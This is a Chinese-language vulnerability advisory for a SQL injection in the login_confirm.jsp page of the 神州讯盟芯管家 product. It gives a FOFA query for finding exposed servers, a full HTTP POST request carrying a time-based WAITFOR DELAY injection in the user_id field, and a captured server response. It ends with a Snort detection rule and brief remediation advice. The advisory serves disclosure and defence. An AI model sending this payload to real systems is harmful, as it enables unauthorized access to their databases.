

# 神州讯盟芯管家 login\_confirm.jsp SQL注入漏洞

神州讯盟芯管家 login\_confirm.jsp SQL注入漏洞，攻击者可进行sql注入攻击获取数据库信息或者权限。

## 影响版本

神州讯盟芯管家

## 漏洞状态

| 漏洞细节 | 漏洞POC | 漏洞EXP | 在野利用 |
|------|-------|-------|------|
| 是    | 已公开   | 已公开   | 已知   |

## 风险等级

| 维度    | 评价 |
|-------|----|
| 威胁等级  | 高危 |
| 影响面   | 广  |
| 攻击者价值 | 高  |
| 利用难度  | 低  |

## 漏洞复现

FOFA: title="神州讯盟芯管家"

POC/EXP:

```
POST /login_confirm.jsp HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Content-Length: 209
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Origin: https://127.0.0.1
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
```

Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Referer: https://127.0.0.1/  
Accept-Encoding: gzip, deflate, br, zstd  
Accept-Language: zh-CN,zh;q=0.9  
Cookie: JSESSIONID=aaa-xI9aUSxoXS

user\_id=1%27;WAITFOR+DELAY+%270:0:5%27--  
&sn=8&macadress=&wm\_types=%C4%A3%CC%AC%B4%B0%BF%DA&url=%2FSunmoIC%2F698D51A19D8A121CE581499D7B701668.jsp&url2=%2FSunmoIC%2F698D51A19D8A121CE581499D7B701668.jsp&password=admin&version=%D6%D0%CE%C4

发送请求 强制 HTTPS 历史 爆破示例

Request

```
1 POST /login_confirm.jsp HTTP/1.1
2 Host: 
3 Connection: keep-alive
4 Content-Length: 209
5 Cache-Control: max-age=0
6 sec-ch-ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"
7 sec-ch-ua-mobile: ?0
8 sec-ch-ua-platform: "Windows"
9 Origin: 
10 Content-type: application/x-www-form-urlencoded
11 Upgrade-Insecure-Requests: 1
12 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
14 Sec-Fetch-Site: same-origin
15 Sec-Fetch-Mode: navigate
16 Sec-Fetch-User: ?1
17 Sec-Fetch-Dest: document
18 Referer: 
19 Accept-Encoding: gzip, deflate, 
20 Accept-Language: zh-CN,zh;q=0.9
21 Cookie: JSESSIONID=aaa-xI9aUSxoXS
22 
23 user_id=1%27;WAITFOR+DELAY+%270:0:5%27--&sn=8&macadress=&wm_types=%C4%A3%CC%AC%B4%B0%BF%DA&url=%2FSunmoIC%2F698D51A19D8A121CE581499D7B701668.jsp&url2=%2FSunmoIC%2F698D51A19D8A121CE581499D7B701668.jsp&password=admin&version=%D6%D0%CE%C4
```

Responses https 505bytes / 美化 渲染 编码 详

```
1 HTTP/1.1 200 OK
2 Server: Resin/2.1.0
3 Cache-Control: private
4 Content-Type: text/html; charset=utf-8
5 Connection: close
6 Date: Thu, 17 Apr 2025 06:48:26 GMT
7 Content-Length: 589
8 
9 <!doctype html>
10 <html>
11 <head>
12 <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
13 <title>登录检查</title>
14 <script language="JavaScript">
15 <function click() {
16 <...if (event.button == 2) {
17 <...alert("神州讯盟软件!");
18 <...}
19 <...}
20 <...document.onmousedown = click;
21 <...</script>
22 <...</head>
23 <body onselectstart="return false" class="trcolor2">
24 <...<font size="2" color="#FF0000"
25 <...>系统暂无该用户或该用户被锁定(五次错误输入密码,将被锁定),请与系统管理员联系!</font>
26 <...>
27 <...</body>
28 <...</html>
29
```

snort规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"Shenzhou Xunmeng SQLi - Extended Patterns";
  flow:to_server,established;
  content:"POST"; http_method;
  content:"/login_confirm.jsp"; http_uri;
  pcre:"/(user_id|sn)=[^&]*['%27].*?
(WAITFOR\s+DELAY|AND\s+1=\d+|OR\s+\d+=\d+)/i";
  classtype:sql-injection;
  sid:1000040;
  rev:1;
  priority:1;
)
```

## 漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本